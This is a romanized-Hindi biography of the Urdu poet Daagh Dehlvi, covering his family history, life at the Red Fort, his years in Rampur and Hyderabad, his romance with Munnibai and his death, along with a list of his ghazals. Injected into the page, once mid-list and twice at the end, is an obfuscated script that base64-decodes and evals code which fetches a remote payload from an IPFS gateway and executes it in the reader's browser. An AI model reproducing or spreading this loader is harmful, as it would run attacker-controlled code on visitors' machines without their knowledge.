दाग़ देहलवी

dag dehalavi dag dehalavi|200px|center poora nam navab mirza khaan janm 25 mee, 1831 janm bhoomi dilli mrityu 1905 mrityu sthan haidarabad abhibhavak shamsuddin khaan, vajir begam karm bhoomi bharat karm-kshetr urdoo shayari mukhy rachanaean 'gulajare dag', 'mahatabe dag', 'afatabe dag', 'yadagare dag', 'yadagare dag- bhag-2', jinamean 1038 se zyada gazalean, anekoan muktak, rubaeeyaan, salam marsiye adi shamil the. bhasha urdoo prasiddhi shayar nagarikata bharatiy any janakari dag dehalavi ki gazal ke naye roop ne bhasha ko vah manjhav aur paradarshita di, jisame bariq se bariq khyal ke izahar ki nayi sambhavanaean thian. galib bhi dag ke is aandazase prabhavit hue bina nahian rah sake. inhean bhi dekhean kavi soochi, sahityakar soochi

dag dehalavi ki rachanaean achchhi soorat pe -dag dehalavi ajab apana hal hota -dag dehalavi afat ki shokhiyaan haian -dag dehalavi le chala jan meri rooth ke jana tera -dag dehalavi shauq hai usako khudanumaee ka -dag dehalavi sitam hi karana jafa hi karana -dag dehalavi ham tujhako kis havas ki phalak justujoo karean -dag dehalavi hasaratean le ge -dag dehalavi husn-e-ada bhi khoobi-e-sirat mean chahie -dag dehalavi har bar maangati hai naya chashm-e-yar dil -dag dehalavi lutf ishq mean pae haian ki ji janata hai -dag dehalavi roo-e- anavar nahian dekha jata -dag dehalavi rasm-e-ulfat sikha gaya koee -dag dehalavi ranj ki jab guphtagoo hone lagi -dag dehalavi ye jo hai huqm mere pas n ae koee -dag dehalavi mere qaboo mean n paharoan dil-e-nashad aya -dag dehalavi muhabbat mean kare kya kuchh kisi se ho nahian sakata -dag dehalavi mumakin nahian ki teri muhabbat ki boo n ho -dag dehalavi butan-e-mahavash uj di huee manzil mean rahate haian -dag dehalavi phire rah se vo yahaan ate ate -dag dehalavi phir shab-e-gam ne mujhe shakl dikhaee kyoankar -dag dehalavi pukarati hai khamoshi meri fugaan ki tarah -dag dehalavi parde-parde mean atab achchhe nahian -dag dehalavi n rava kahiye n saza kahiye -dag dehalavi n badale adami jannat se bhi baitul-hazan apana -dag dehalavi n jao hal-e-dil-e-zar dekhate jao -dag dehalavi dil gaya tum ne liya ham kya karean -dag dehalavi dil ko kya ho gaya khuda jane -dag dehalavi dard ban ke dil mean ana -dag dehalavi teri mahafil mean yah kasarat kabhi thi -dag dehalavi tumhare khat mean naya ik salam kis ka tha -dag dehalavi darate haian chashm-o-zulf, nigah-o-ada se ham -dag dehalavi zabaan hilao to ho jae, faisala dil ka -dag dehalavi javani guzar gayi -dag dehalavi gam se kahian najat mile chain paean ham -dag dehalavi gazab kiya, tere vade pe aitabar kiya -dag dehalavi khatir se ya lihaz se maian man to gaya -dag dehalavi kyoan churate ho dekhakar aankhean -dag dehalavi kya lutf-e-sitam yooan unhean hasil nahian hota -dag dehalavi kabe ki hai havas kabhi koo-e-butaan ki hai -dag dehalavi kahaan the rat ko hamase zara nigah mile -dag dehalavi unake ek jaan-nisar ham bhi haian -dag dehalavi ujr ane mean bhi hai aur bulate bhi nahian -dag dehalavi is ada se vo vafa karate haian -dag dehalavi arajoo hai vafa kare koee -dag dehalavi <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

dag dehalavi (vastavik nam:navab mirza khaan, aangrezi: Daagh Dehlvi, janm- 25 mee, 1831, dilli; mrityu- 1905, haidarabad) ko urdoo jagath mean ek shayar ke roop mean bahut ooancha sthan prapt hai. unake jivan ka adhikaansh samay dilli mean vyatit hua tha, yahi karan hai ki unaki shayariyoan mean dilli ki tahazib nazar ati hai. dag dehalavi ki shayari ishq aur mohabbat ki sachchi tasvir pesh karati hai.

parivarik parichay

mugal badashah shahalam, jo ki andha ho chuka tha, usake akhiri zamane mean pathanoan ka ek khanadan samarakand se apani roji-roti ki talash mean bharat aya tha. yah khanadan kuchh mahine tak zamin-asaman ki khoj mean idhar-udhar bhatakata raha aur phir dilli ke ek mohalle ballimaran mean bas gaya. is khanadan ki doosari pidhi ke ek naujavan ahamad bakhsh khaan ne alavar ke raja bakhtavar sianh ke us phauji daste ki saradari ka farz nibhaya, jo raja ki aur se bharatapur ke raja ke khilaf aangrezoan ki madad ke lie bheja gaya tha. l daee ke maidan mean ahamad bakhsh khaan ne apani jan ko daanv par lagakar ek aangrez ki jan bachaee thi. usaki is vafadari ke lie l aaurd lek use firojapur aur jharaka ki jagirean inam mean de deta hai.

pita ki phaansi

ahamad bakhsh khaan ka b da l daka shamsuddin khaan, jo usaki alavar ki mevatan bivi se utpann hua tha, usane jagir mean naiansafi ke lie aangrezoan ke khilaf avaz uthaee. vah british rejideant ke qatl ki bhi sajish rachane laga. lekin usaki is sajish ka pata aangrez sarakar ko lag gaya aur use 1835 ee. mean phaansi de di gee. dag dehalavi isi shamsuddin khaan ki pahali aur aantim santan the, jo bad mean urdoo gazal ke itihas mean navab mirza khaan dag dehalavi ke nam se prasiddh hue. apane pita ki phaansi ke samay dag dehalavi matr char sal aur char mahine ke the. aangrezoan ke bhay se dag dehalavi ki maan vajir begam kee varshoan tak chhip kar rahian aur is dauran dag dehalavi apani mausi ke jahaan rahe.

shiksha-diksha

kee varshoan ke bhatakav ke bad jab vajir begam ne akhiri mugal badashah bahadurashah zaphar ke putr aur uttaradhikari mirza fakharoo se vivah kar liya, tab dag dehalavi bhi lal qile mean rahane lage. yahaan inaki shiksha-diksha adi ka achchha prabandh ho gaya tha. dag dehalavi ne lal qile mean barah varsh bitae, lekin yah sab vilasita mirza fakharoo ke dehaant ke bad inake pas nahian rahi. boodhe badashah bahadurashah zaphar ki javan malika jinatamahal ki rajaniti ne lal qile mean unhean rahane nahian diya. is bar unake sath unaki mata vajir begam aur sath hi mata ki kuchh jayaz aur najayaz santane bhi thian. mirza fakharoo se mirza mohammad khurshid ke atirikt, aga turab ali se, jinake yahaan vajir begam shamsuddin khaan ki phaansi ke bad kuchh din chhupi thian aga mirza shagil aur jayapur ke ek aangrez se bhi ek l daka amir mirza aur ek l daki badashah begam shamil thian.

shayari ki shuruat

lal qile mean barah varsh rahate hue dag dehalavi ne apani shayari se us yug ke bujurg shayaroan, jaise- galib, maumin, jauk, shefta ko hi nahian chaukaya apitu apani sidhi-sahaj bhasha aur usake natakiy akarshan ne am logoan ko bhi unaka prashansak bana diya. inaki gazal ke is roop ne bhasha ko vah manjhav aur paradarshita di, jisame bariq se bariq khyal ke izahar ki nayi sambhavanaean thian. galib bhi dag ke is aandazase prabhavit hue bina nahian rah sake. dag ke ek jivani lekhak nisar ali shoharat se unhoanne ek bar kaha tha- "dag bhasha ko n sirf pal raha hai, balki use talim bhi de raha hai."

rachanatmak kshamata

dag dehalavi ki rachanatmak kshamata apane samakalin urdoo shayaroan se kahian adhik thi. unaka ek 'divan' 1857 ki lootamar ki bhet chadh gaya tha. doosara unake haidarabad ke nivas ke dauran kisi ke hath ki saphaee ka shikar ho gaya. in do divanoan ke kho jane ke bavajood dag dehalavi ke paanch divan 'gulajare dag', 'mahatabe dag', 'afatabe dag', 'yadagare dag', 'yadagare dag- bhag-2', jinamean 1038 se zyada gazalean, anekoan muktak, rubaeeyaan, salam marsiye adi shamil the, isake atirikt ek 838 sheroan ki masanavi bhi 'phariyade dag' ke nam se prakashit huee. itane b de shayari ke saramaye mean sirf unaki mohabbat ki bazariyat ko hi unaki shayari ki pahachan samajhana sabase b di bhool hogi. yahaan tak ki firaq gorakhapuri jaisa samajhadar alochak bhi hua. isase iankar karana kathin hai ki lal qile ke mujaroan, kavvaliyoan, ayyashiyoan, aphim sharab ki rangaranliyoan se jinaki oopari chamak-damak mean us samay ki dam to dati tahajib ki aantim hichakiyaan saph sunaee deti thian, dag ke bachapan aur javani ke shuruati varshoan mean prabhavit hue the. is daur ka saanskritik patan unake shuroo ke ishq ke raveye mean saph nazar ata hai. unaki gazal ki nayika bhi is asar ke tahat bazar ka khilauna thi, jisase vo bhi un dinoan ki parampara ke anusar khoob khele. lekin dag dehalavi ka kamal yah hai ki vah yahian tak simit hokar nahian rahe the. unaki shayari mean unake vyaktitv ki bhaanti, jisamean ashik, najarabaz, soofi, phanakar, duniyadar, atit, vartaman ek sath jite-jagate haian, kee dishaoan ka sapharanama hai. ye shayari jinda adami ke virodhabhasoan ka bahumukhi roop hai, jise kisi ek chehare se pahachan pana mushkil hai.

kabe ki hai havas kabhi kooe butaan ki hai
mujhako khabar nahian, meri mitati kahaan ki hai.

dag ka ishq

dag dehalavi varsh 1857 ki tabahiyoan se gujare the. dilli ke gali-mohalloan mean lashoan ka nazara unhoanne dekha tha. lal qile se nikalakar tinaka-tinaka jo dakar jo ashiyana unhoanne banavaya tha, use bikharate hue bhi dekha. apane das-barah sal ke kalam ki barbadi ke vah matr ek majaboor tamashaee banakar rah gaye the. qile se nikale abhi mushkil se ath-no mahine hi hue the ki is tabahi ne unhean gher liya. dilli ke hangamoan se gujar kar dag dehalavi ne ramapur mean panah li. ramapur se unaka sanbandh unaki mausi umda begam ke pati ramapur ke navab yusoof ali khaan ke samay se tha. dilli ke uj dane ke bad ramapur un dinoan asir, amir, jahir, nizam aur jalala jaise ustadoan ki avajoan se abad tha. navab shayaroan ka kadradan tha. yahaan dag dehalavi ki shayari bhi khoob phali-phooli aur unaki ashiqana tabiyat bhi.

munnibaee hijab nam ki ek gayika aur tavayaf se dag dehalavi ka mashahoor ishq isi mahaul ki den tha. unaka yah ishq ashiqana kam aur shayarana athik tha. dag dehalavi us vakt adhi sadi se adhik umr ji chuke the, jabaki munnibaee har mahafil mean jane-mahafil hone ka jashn mana rahi thi. apane is ishq ki dastaan ko unhoanne 'pharayade dag' mean maje ke sath doharaya hai. munnibaee se dag ka yah lagav jahaan rangin tha, vahian tho da-sa sangin bhi. dag dehalavi unake husn par kurban the aur vah navab ramapur ke chhote bhaee haidarali ki daulat par meharaban thi. ramapur mean haidarali ka raqib banakar dag dehalavi ke lie mushkil tha. jab ishq ne dag dehalavi ko adhik sataya to unhoanne haidarali tak apana paigam bhijava diya- "dag hijab ke tire nazar ka ghayal hai. ap ke dil bahalane ke aur bhi saman haian, lekin dag bechara hijab ko n pae to kahaan jae." navab haidarali ne dag ki is gustakhi ko n sirf kshama kar diya, balki unake khat ka javab khud munnibaee un tak lekar aee. navab haidarali ka javab tha ki- "dag sahab, apaki shayari se zyada hamean munnibaee ajiz nahian hai."

sabase tum achchhe ho tumase meri kismat achchhi
ye hi kamabakht dikha deti hai soorat achchhi

haidarabad gaman

munnibaee ek deredar tavayaf thi. usake pas abhi umr ki pooanji bhi thi aur roop ka khazana bhi tha. vah ghar ki chahar divari mean simit hokar pachas se age nikalati huee gazal ka vishay banakar nahian rah sakati thi. vah dag dehalavi ke pas aee, lekin jald hi dag ko chho dakar vapas kalakatta (vartaman kolakata) ke bazar ki zinat ban gayi. navab ramapur kalbe ali khaan ke dehaant ke bad dag dehalavi ramapur mean adhik samay tak nahian rah sake. samay ne phir se unase chhe dachha d shuroo kar di thi. lal qile se nikalane ke pashchath chain ki jo chand saanse asaman ne unake nam likhi thi, vah ab poori ho rahi thian. vah budhape mean ne sire se munasib zamian-asaman ki talash mean kee shaharoan ki dhool chhan kar navab mahaboob ali khaan ke pas haidarabad mean chale ae.

tadabir se kismat ki buraee nahian jati
big di huee takadir banayian nahian jati

ustad ki padavi

dag dehalavi ab dhalati umr se nikalakar budhape ki sima mean dakhil ho chuke the. unhean kee bimariyoan ne gher liya tha. haidarabad mean dag ko paanv jamane mean sadhe tin sal se zyada ka samay laga. us jamane ke haidarabad ke rees raja giradhari prasad baqi, maharaj kishan prasad shad ne unake lie bahut koshishean kian, lekin dag dehalavi ko rozagar ki fauri zarurat thi aur navab ko koee qadam uthane se pahale lanbi chhanabin karane ki adat thi. yah samay dag dehalavi par b da bhari p da. vah apane ghar se alag budhape mean javanoan ki tarah rozagar ki talash mean hath-pair mar rahe the. navab aur unake mitroan ki shan mean qaside likh rahe the. mazaroan ki chaukhatoan par duaean maang rahe the. dostoan ki madad ke sahare unaka samay kat raha tha. jab vakt ne kee bar pariksha lekar bhi unhean mayoos hote nahian dekha to majaboori ne unhean navab ke mahal tak pahuancha diya aur ab ve navab ke ustad niyukt ho ge.

munnibaee ki vapasi

dag dehalavi ke is samman ki shoharat ne munnibaee ke dil mean us zamane ki yadoan ko phir se jaga jaga diya, jinako bhulakar vah apane kisi saziande ke nikah mean a chuki thi. vah apane pati se talaq lekar dag dehalavi ke pas haidarabad chali aee. vah jis samay haidarabad aee thi, us samay dag dehalavi 72 varsh ke ho chuke the aur munnibaee baloan mean khizab aur muanh mean nakali dat lagane lagi thi. lekin dag dehalavi ki muanh boli beti aur unake pati sael dehalavi ki aandarooni rajaniti ke karan ye milan jaldi hi shako-subah ka shikar hokar hamesha ke lie samapt ho gaya.

'dag yug' sahityik drishti se do dishaoan mean vibhajit tha. ek taraf sar saiyyad aur unake sathi hali, shibali aur azad the, jo sahity ko desh aur kaum ke sudhar ka madhyam banana chahate the. ve kathy tatha kahane mean ne prayog kar rahe the, nazir akabarabadi ke sau varsh bad kavita phir se samoohik jivan se ju d rahi thi. isamean mean hali ki avaz zyada ooanchi aur rachanatmak thi. d aauktar iqabal, simab, jigar muradabadi ke alava unake shishyoan ki tadad do hazar se adhik thian. inamean se sabhi dag dehalavi ki gazal se kisi n kisi star par prabhavit the. urdoo ki nayi gazal jo firaq gorakhapuri se vartaman yug mean aee, us par bhi dag dehalavi ki gazal ke prabhav ko saph dekha ja sakata hai.

tavayafoan ka sath

dag dehalavi ka budhapa arthik sanpannata ke hote hue bhi aram se vyatit nahian hua. bivi ke dehaant ne unake akelepan ko adhik gahara kar diya tha, jise bahalane ke lie vah ek sath kee tavayafoan ko naukar rakhe hue the. inamean sahibjan, umdajan, ilahijan, jaddanabaee., soorat ki akhtar jan khas thian. ye sab dag dehalavi ke darabar ki mulajim thian. dag dehalavi se in tavayafoan ka rishta sham ki mahafiloan tak hi tha. unako shayari ke sath sangit ka bhi shauq tha. ye sab tavayafean apane daur ki prasiddh gayikaean bhi thian. dag dehalavi ki gazaloan ki shauharat mean in surili avazoan ka bhi b da yogadan tha.

nidhan

dag dehalavi ki apani koee santan nahian thi. patni ke dehaant ke bad door-pas ke rishtedar, jinako dag dehalavi pal rahe the, ve unake ghar ko apasi matabhed ka mahabharat banaye hue the. sabaki nazarean keval maut ki aur badhate hue dag dehalavi ke budhape par thi. haidarabad mean hi 71-72 varsh ki umr mean unaka varsh 1905 mean nidhan ho gaya.

kya mila hamako ziandagi ke siva
vah bhi dushvar, natamam, kharab.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>